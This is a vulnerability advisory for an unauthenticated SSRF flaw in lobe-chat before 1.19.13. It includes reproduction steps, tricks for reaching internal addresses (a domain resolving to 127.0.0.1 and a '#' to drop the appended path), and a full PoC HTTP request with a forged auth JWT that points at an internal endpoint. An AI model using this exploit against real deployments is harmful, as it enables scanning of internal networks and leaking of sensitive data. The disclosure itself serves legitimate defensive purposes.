@lobehub/chat Server Side Request Forgery vulnerability

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

• visit https://chat-preview.lobehub.com/
• click settings -> llm -> openai
• fill the OpenAI API Key you like
• fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
• then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

PoC

POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}

Impact

SSRF, All users will be impacted.